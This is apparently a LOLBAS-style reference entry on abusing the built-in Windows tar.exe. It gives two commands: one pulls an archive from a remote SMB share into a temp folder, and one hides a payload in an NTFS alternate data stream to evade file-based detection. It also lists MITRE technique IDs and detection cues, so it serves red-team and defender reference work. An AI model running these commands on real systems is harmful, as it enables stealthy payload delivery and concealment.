tar.exe

The in-box bsdtar (Windows 10 1803+) extracts an archive directly from a UNC/SMB path, pulling files from a remote host without a classic downloader (ingress transfer). tar can also read from and write to NTFS Alternate Data Streams (path:ads), hiding archived payloads inside a benign-looking file.

Use Copy files in from a remote share, or stash a payload in an ADS to evade file-based detection, using a signed archiver.

tar.exe -xf \\10.10.10.10\share\x.tar -C C:\Windows\Temp
tar.exe -cf C:\Windows\Temp\x.txt:evil.tar C:\Windows\Temp\payload

Context

user

Native

Download, Hide/ADS

MITRE

T1105T1564.004

Detection

Detection: tar.exe with a UNC (\\host\share) source; tar.exe archive paths containing ':' (ADS notation); tar.exe making SMB/network connections; extraction into system-writable temp dirs.

Verified

✓ LOLBAS Tar.yml documents `tar -xf {PATH_SMB:.tar}` (T1105) and `tar -cf {PATH}:ads {folder}` / `tar -xf {PATH}:ads` (T1564.004); both match.

Refs

github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSBinaries/Tar.yml

learn.microsoft.com/en-us/windows/tar/